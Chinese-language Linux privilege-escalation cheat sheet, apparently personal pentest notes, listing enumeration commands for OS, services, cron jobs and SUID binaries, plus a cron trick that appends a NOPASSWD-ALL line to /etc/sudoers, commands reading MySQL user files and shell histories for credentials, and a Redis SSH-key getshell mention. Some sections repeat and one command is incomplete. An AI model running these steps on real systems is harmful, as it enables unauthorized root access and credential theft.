Linux 提权

枚举是关键

收集 - 枚举,更多枚举和更多枚举。
处理 - 对收集的信息进行排序、分析和确定优先级。
搜索 - 知道要搜索什么以及在哪里可以找到漏洞利用代码。
定制 - 定制化 EXP,使其适合\可以使用。并非每个 EXP 对每个系统都是“开箱即用”的。
尝试 - 为(大量)反复试验做好准备。

信息收集、整理 - 找 EXP,修改到可以用 - 很难一次成功,需要大量的反复尝试

0x01 脚本三幻神

LinEnum.sh
linuxprivchecker.py
unix-privesc-check

0x02 各种应用权限配置不当的利用方式

GTFOBins

0x03 Crontab 或者 各种 Schedule 等定时任务

# 检测后台定时任务
# 用那个啥来着
# 检测定时任务 之 自制脚本 promon.sh
IFS=$'\n'
op=$(ps -eo command)
while true; do
    np=$(ps -eo command)
    diff <(echo "$op") <(echo "$np")
    sleep .2
    op=$np
done

枚举大法

OS

# 分配类型、版本
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release      # Debian based
cat /etc/redhat-release   # Redhat based
# 内核版本?64位?
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
# 环境变量里有啥
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
# 这台是打印机吗?
lpstat -a

APP、服务

# 正在运行哪些服务?哪个服务有哪个用户权限?
ps aux
ps -ef
top
cat /etc/services
# 找 root 权限的服务?哪些是易受攻击的?仔细检查!
ps aux | grep root
ps -ef | grep root
# 安装了哪些应用程序?什么版本?正在运行?
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
# 哪些服务配置不当?是否附加了漏洞插件?
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'
# 检查定时任务
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

0.03 配置不当

系统服务的错误权限配置漏洞

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

sudo -l

Crontab 或者 各种 Schedule 等定时任务

# 检测后台定时任务
# 用那个啥来着
# 检测定时任务 之 自制脚本 promon.sh
IFS=$'\n'
op=$(ps -eo command)
while true; do
    np=$(ps -eo command)
    diff <(echo "$op") <(echo "$np")
    sleep .2
    op=$np
done
vi user.sh
echo "user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers

/etc/crontab 中加入计划任务。

vi /etc/crontab
*/1 * * * * root sh /path2script/user.sh >> /tmp/log.txt

最后

sudo su

一些配置

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

SUID

find / -perm -1000 -type d 2>/dev/null              # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null               # 以文件所属用户组权限运行
find / -perm -u=s -type f 2>/dev/null               # 以文件所属用户权限运行
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # 以上两者合集
find / -user root -perm -4000 -print 2>/dev/null    # 先收集,待确认
find / -user root -perm -4000 -exec ls -ldb {} \    # 先收集,待确认

# Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done   

# 从 / 开始 3 个文件夹深度的范围内查找 SGID 或 SUID ,同时不是符号链接的文件
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null   

0.03 信息泄漏

泄漏的账密

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joom

历史记录

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

0.04 Kernel Vulns

TODO

0.06 Third Part Service

Root-Redis 未授权访问

任意角色未授权登录,公钥写入。redis-sshkey-getshell.py